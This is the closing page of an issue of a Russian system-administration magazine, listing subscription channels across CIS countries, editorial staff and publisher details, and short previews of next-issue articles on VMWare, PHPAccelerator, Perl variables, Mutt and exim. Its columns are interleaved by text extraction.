Агентство «Интер-Почта» (095) 500-00-60, курьерская ГЗАО «Армпечать» (375005, г.Ереван, пл.Сасунци Да-
доставка по Москве вида, д.2) и ЗАО «Контакт-Мамул» (375002, г. Ереван,
Агентство «Вся Пресса» (095) 787-34-47 ул.Сарьяна, 22)
Агентство «Курьер-Прессервис» ! Грузия – по списку номенклатуры «АРЗИ» через АО
! Подписка On-line «Сакпресса» ( 380019, г.Тбилиси, ул.Хошараульская,
http://www.arzy.ru 29 ) и АО «Мацне» (380060, г.Тбилиси, пр-т Гамсахур-
http://www.gazety.ru дия, 42)
http://www.presscafe.ru ! Молдавия – по каталогу через ГП «Пошта Молдавей»
(МД-2012, г.Кишинев, бул.Штефан чел Маре, 134)
СНГ по списку через ГУП «Почта Приднестровья» (МD-3300,
В странах СНГ подписка принимается в почтовых отделе- г.Тирасполь, ул.Ленина, 17)
ниях по национальным каталогам или по списку номенк- по прайслисту через ООО Агентство «Editil Periodice»
латуры АРЗИ: (2012, г.Кишинев, бул. Штефан чел Маре, 134)
! Казахстан – по каталогу «Российская Пресса» через ! Подписка для Украины:
ОАО «Казпочта» и ЗАО «Евразия пресс» Киевский главпочтамп
! Беларусь – по каталогу изданий стран СНГ через РГО Подписное агентство «KSS»
«Белпочта» (220050, г.Минск, пр-т Ф.Скорины, 10) Телефон/факс (044)464-0220
Подписные
индексы:
81655
по каталогу
агентства
«Роспечать»
87836
по каталогу
агентства
«Пресса России»
РЕДАКЦИЯ
ЧИТАЙТЕ
Исполнительный директор
Владимир Положевец
В СЛЕДУЮЩЕМ
Ответственный секретарь
Наталья Хвостова
sekretar@samag.ru
НОМЕРЕ:
Технический редактор
Владимир Лукин
Редактор VMWare со всеми Оптимизация работы PHP
Андрей Бешков удобствами при помощи PHPAccelerator
Научно-технические консультанты В данной статье будет рассказано, как В статье «Кэширование веб-сценари-
Валерий Цуканов добиться увеличения быстродействия ев» февральского номера журнала
Дмитрий Горяинов гостевых систем с помощью VMWare была затронута тема оптимизации сай-
Tools. Также будут освещены некото- тов. Рассмотренный способ является
РЕКЛАМНАЯ СЛУЖБА рые полезные возможности, суще- несколько трудоёмким. Одним из бо-
тел./факс: (095) 928-8253 ственно облегчающие взаимодействие лее эффективных решений является
Константин Меделян между гостевой и основной системой. PHPAccelerator. О нём, собственно, и
reсlama@samag.ru пойдет разговор в данной статье.
Специальные переменные
Верстка и оформление в Perl Эффективный почтовый
imposer@samag.ru Одним из достоинств языка Perl яв- сервер на базе MTA exim
maker_up@samag.ru ляется то, что он предоставляет про- В этой статье пойдет речь о создании
Дизайн обложки граммисту огромную свободу выбора эффективного почтового сервера на
Николай Петрочук как средств решения той или иной за- базе MTA exim. Первый вопрос, кото-
дачи, так и стиля программирования. рый, конечно же, приходит в голову: «А
103045, г. Москва, Порой конструкции, для создания ко- почему именно exim?». Отвечают на
Ананьевский переулок, дом 4/2 стр. 1 торых на Паскале требуется код в пол- этот вопрос по-разному, поэтому я ска-
тел./факс: (095) 928-8253 экрана, на Perl могут быть записаны жу, что меня так привлекает в exim:
Е-mail: info@samag.ru в одну-две строки и при этом полнос- ! логичная схема обработки почты;
Internet: www.samag.ru тью сохранить читабельность. И сре- ! высокая скорость работы;
ди средств, обеспечивающих такие ! удобный формат конфигурацион-
РУКОВОДИТЕЛЬ ПРОЕКТА возможности, особое место занима- ного файла;
Петр Положевец ют встроенные переменные, которые ! широчайшие возможности по по-
УЧРЕДИТЕЛИ и будут рассмотрены в данной статье. иску каких-либо значений в фай-
Владимир Положевец лах, СУБД, LDAP;
Александр Михалев Mutt как инструмент ! встроенная поддержка smtp-аутен-
администратора тификации;
ИЗДАТЕЛЬ Mutt – это функциональный почтовый ! небольшое число найденных уяз-
ЗАО «Издательский дом клиент с текстовым интерфейсом, ко- вимостей;
«Учительская газета» торый представляет собой классичес- ! очень большое количество воз-
кий MUA, не обладающий функциями можностей, а также чрезвычайная
Отпечатано типографией MTA и MDA. Это значит, что Mutt ра- гибкость;
ГП «Московская Типография №13» ботает с почтой, которая уже находит- ! возможность полной замены
Тираж 7000 экз. ся в почтовом ящике пользователя, sendmail.
предоставляя возможность удобно
Журнал зарегистрирован этой почтой оперировать (читать, от- На мой взгляд, exim является весь-
в Министерстве РФ по делам печати, вечать на сообщения и прочее). В то ма и весьма удачным продуктом, не
телерадиовещания и средств мас- же время он не может самостоятель- зря он используется по умолчанию в
совых коммуникаций (свидетельство но перемещать почту между машина- ОС Debian GNU Linux. Два больших
ПИ № 77-12542 от 24 апреля 2002г.) ми и доставлять почту. Большинство минуса exim состоят в том, что отсут-
известных нам почтовых клиентов ствует качественная документация на
За содержание статьи ответственность представляют собой некие «комбай- русском языке и возникает необходи-
несет автор. За содержание рекламно- ны», которые сочетают в себе функ- мость правки Makefile для включения
го обьявления ответственность несет ции MUA, MTA и MDA, к примеру, The тех или иных возможностей exim.
рекламодатель. Все права на опубли- Bat и Outlook, но на практике Mutt на- Итак, для начала подумаем, что дол-
кованные материалы защищены. Ре- много более гибок, позволяя выби- жна содержать «идеальная» с точки
дакция оставляет за собой право изме- рать те инструменты, к которым поль- зрения удобства администрирования и
нять содержание следующих номеров. зователь привык. использования почтовая система.
96